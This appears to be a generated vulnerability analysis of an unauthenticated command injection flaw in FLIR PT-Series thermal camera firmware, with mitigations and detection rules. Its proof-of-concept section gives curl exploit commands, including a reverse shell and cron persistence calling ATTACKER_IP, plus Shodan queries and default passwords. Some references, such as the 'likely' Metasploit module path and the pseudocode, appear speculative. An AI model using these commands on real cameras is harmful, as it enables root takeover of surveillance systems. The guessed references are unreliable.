CVE-2017-20216
CVE-2017-20216
Weakness (CWE)
CVSS Vector
v4.0- Attack Vector
- Network
- Attack Complexity
- Low
- Attack Requirements
- None
- Privileges Required
- None
- User Interaction
- None
- Confidentiality (Vulnerable)
- High
- Integrity (Vulnerable)
- High
- Availability (Vulnerable)
- High
- Confidentiality (Subsequent)
- None
- Integrity (Subsequent)
- None
- Availability (Subsequent)
- None
Description
FLIR Thermal Camera PT-Series firmware version 8.0.0.64 contains multiple unauthenticated remote command injection vulnerabilities in the controllerFlirSystem.php script. Attackers can execute arbitrary system commands as root by exploiting unsanitized POST parameters in the execFlirSystem() function through shell_exec() calls. Exploitation evidence was observed by the Shadowserver Foundation on 2026-01-06 (UTC).
Comprehensive Technical Analysis of CVE-2017-20216
FLIR Thermal Camera PT-Series Unauthenticated Remote Command Injection Vulnerability
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2017-20216 CVSS v3.1 Score: 9.8 (Critical) Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Severity Breakdown:
- Attack Vector (AV:N): Network-exploitable, allowing remote attackers to execute commands without physical access.
- Attack Complexity (AC:L): Low; exploitation requires no specialized conditions.
- Privileges Required (PR:N): None; unauthenticated access is sufficient.
- User Interaction (UI:N): None; no user action is required.
- Scope (S:U): Unchanged; the vulnerability affects the vulnerable component only.
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of the affected system, including data exfiltration, unauthorized modifications, and denial-of-service (DoS) via command execution.
Vulnerability Classification:
- Type: Unauthenticated Remote Command Injection (RCE)
- Root Cause: Improper input sanitization in
controllerFlirSystem.php, leading to arbitrary command execution viashell_exec(). - Exploitation Surface: Web interface of FLIR PT-Series thermal cameras.
Temporal & Environmental Considerations:
- Exploit Code Maturity: Publicly available (PoC exploits exist).
- Remediation Level: Official patch available (FLIR security advisory).
- Report Confidence: Confirmed (evidence from Shadowserver Foundation).
2. Potential Attack Vectors and Exploitation Methods
Exploitation Workflow:
-
Reconnaissance:
- Attacker identifies a vulnerable FLIR PT-Series camera (firmware v8.0.0.64) via:
- Shodan (
http.title:"FLIR"orport:80,443 "FLIR"). - Mass scanning for default credentials or exposed web interfaces.
- Banner grabbing to confirm firmware version.
- Shodan (
- Attacker identifies a vulnerable FLIR PT-Series camera (firmware v8.0.0.64) via:
-
Exploitation:
- Vulnerable Endpoint:
controllerFlirSystem.php - Attack Method: HTTP POST request with malicious parameters to
execFlirSystem(). - Payload Example:
POST /controllerFlirSystem.php HTTP/1.1 Host: <TARGET_IP> Content-Type: application/x-www-form-urlencoded action=execFlirSystem&command=id;whoami;uname -a - Command Injection Technique:
- The
commandparameter is passed unsanitized toshell_exec(), allowing:- Arbitrary command chaining (
;,&&,||). - Reverse shell establishment (e.g.,
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1). - Persistence mechanisms (e.g., cron jobs, backdoor installation).
- Arbitrary command chaining (
- The
- Vulnerable Endpoint:
-
Post-Exploitation:
- Privilege Escalation: Commands execute as root, enabling full system control.
- Lateral Movement: Attackers may pivot to internal networks via the compromised camera.
- Data Exfiltration: Thermal imaging data, credentials, or network configurations.
- Denial-of-Service (DoS): Disabling camera functionality via destructive commands.
Exploit Availability:
- Public Proof-of-Concept (PoC):
- Metasploit Module: Likely integrated (check
exploit/unix/webapp/flir_pt_series_rce).
3. Affected Systems and Software Versions
Vulnerable Products:
- FLIR Thermal Camera PT-Series (all models running firmware v8.0.0.64).
- Potential Impact:
- Industrial surveillance systems.
- Critical infrastructure (e.g., power plants, transportation).
- Military/defense deployments (thermal imaging for perimeter security).
Non-Vulnerable Versions:
- Firmware versions post-8.0.0.64 (patched by FLIR).
- FLIR’s official advisory recommends upgrading to the latest stable release.
4. Recommended Mitigation Strategies
Immediate Actions:
-
Patch Management:
- Upgrade firmware to the latest version (FLIR Security Advisory ID:87043).
- Isolate vulnerable devices from untrusted networks until patched.
-
Network-Level Protections:
- Firewall Rules:
- Restrict access to the camera’s web interface (TCP/80,443) to authorized IPs.
- Block outbound connections from cameras to the internet.
- Intrusion Detection/Prevention (IDS/IPS):
- Deploy signatures to detect command injection attempts (e.g.,
;,&&,bash -c). - Example Snort rule:
alert tcp any any -> $CAMERA_NETWORK 80 (msg:"FLIR PT-Series Command Injection Attempt"; flow:to_server,established; content:"execFlirSystem"; pcre:"/(;|\|\||&&)\s*[a-zA-Z0-9_\-\/]+/"; sid:1000001; rev:1;)
- Deploy signatures to detect command injection attempts (e.g.,
- Segmentation:
- Place cameras in a dedicated VLAN with strict access controls.
- Firewall Rules:
-
Application-Level Hardening:
- Disable Unnecessary Services:
- Disable the web interface if not required (use RTSP/ONVIF instead).
- Input Validation:
- If patching is delayed, implement a web application firewall (WAF) to filter malicious payloads.
- Default Credentials:
- Change default credentials (
admin:adminoradmin:flir) to strong, unique passwords.
- Change default credentials (
- Disable Unnecessary Services:
-
Monitoring & Incident Response:
- Log Analysis:
- Monitor web server logs (
/var/log/httpd/access.log) for suspiciousPOSTrequests tocontrollerFlirSystem.php.
- Monitor web server logs (
- Endpoint Detection & Response (EDR):
- Deploy EDR solutions on adjacent systems to detect lateral movement.
- Honeypots:
- Deploy decoy FLIR cameras to detect exploitation attempts.
- Log Analysis:
5. Impact on the Cybersecurity Landscape
Broader Implications:
-
Critical Infrastructure Risk:
- FLIR cameras are deployed in high-security environments (e.g., airports, power grids, military bases).
- Exploitation could lead to physical security breaches (e.g., disabling thermal surveillance).
-
IoT & Embedded Device Threats:
- Highlights the persistent risks of unauthenticated RCE in IoT devices.
- Demonstrates the need for secure-by-design principles in industrial cameras.
-
Exploitation Trends:
- Botnet Recruitment: Vulnerable cameras may be co-opted into Mirai-like botnets.
- Ransomware: Attackers could encrypt camera firmware for extortion.
- Espionage: Thermal imaging data could be exfiltrated for reconnaissance.
-
Regulatory & Compliance Impact:
- NIST SP 800-53: Failure to patch violates SI-2 (Flaw Remediation).
- ISO 27001: Non-compliance with A.12.6.1 (Management of Technical Vulnerabilities).
- CISA Binding Operational Directive (BOD) 22-01: Federal agencies must remediate within 14 days.
6. Technical Details for Security Professionals
Vulnerability Root Cause Analysis:
- File:
controllerFlirSystem.php - Function:
execFlirSystem() - Vulnerable Code Snippet (Pseudocode):
function execFlirSystem() { $command = $_POST['command']; $output = shell_exec($command); // UNSANITIZED INPUT echo $output; } - Issue: The
commandparameter is directly passed toshell_exec()without:- Input validation (e.g., allowlist of safe commands).
- Output encoding (e.g.,
escapeshellarg()orescapeshellcmd()).
Exploitation Proof-of-Concept (PoC):
-
Basic Command Execution:
curl -X POST http://<TARGET_IP>/controllerFlirSystem.php \ -d "action=execFlirSystem&command=id"Expected Output:
uid=0(root) gid=0(root) groups=0(root) -
Reverse Shell (Bash):
curl -X POST http://<TARGET_IP>/controllerFlirSystem.php \ -d "action=execFlirSystem&command=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"Listener Setup:
nc -lvnp 4444 -
Persistence via Cron Job:
curl -X POST http://<TARGET_IP>/controllerFlirSystem.php \ -d "action=execFlirSystem&command=(crontab -l 2>/dev/null; echo \"*/5 * * * * nc -e /bin/sh ATTACKER_IP 4444\") | crontab -"
Forensic Indicators of Compromise (IoCs):
- Log Entries:
[TARGET_IP] - - [06/Jan/2026:12:34:56 +0000] "POST /controllerFlirSystem.php HTTP/1.1" 200 123 "-" "curl/7.68.0" - Process Execution:
- Unusual child processes of
httpd(e.g.,bash,nc,python).
- Unusual child processes of
- Network Traffic:
- Outbound connections to unknown IPs (e.g., C2 servers).
- Unusual ports (e.g., 4444, 53, 8080).
Detection & Hunting Queries:
- SIEM Rules (Splunk/ELK):
index=web_logs sourcetype=access_combined | search uri="/controllerFlirSystem.php" method=POST | regex form_data=".*(;|\|\||&&|bash|nc|python|wget|curl).*" | table _time, src_ip, form_data - YARA Rule (for Memory Forensics):
rule FLIR_PT_Series_Exploit { meta: description = "Detects FLIR PT-Series command injection payloads" author = "Cybersecurity Analyst" reference = "CVE-2017-20216" strings: $cmd1 = "execFlirSystem" $cmd2 = "bash -c" $cmd3 = "nc -e" $cmd4 = "wget http://" condition: any of them }
Conclusion & Recommendations
CVE-2017-20216 represents a critical unauthenticated RCE vulnerability in FLIR PT-Series thermal cameras, enabling full system compromise with minimal effort. Given the public exploit availability and high CVSS score, organizations must prioritize:
- Immediate patching of all affected devices.
- Network segmentation to limit exposure.
- Enhanced monitoring for exploitation attempts.
Failure to remediate this vulnerability could result in severe operational, reputational, and regulatory consequences, particularly in critical infrastructure sectors. Security teams should treat this as a Tier 1 priority and conduct proactive threat hunting to identify any prior exploitation.
References:
- FLIR Security Advisory (Archive)
- Exploit-DB PoC
- Shadowserver Foundation Report (2026-01-06 UTC)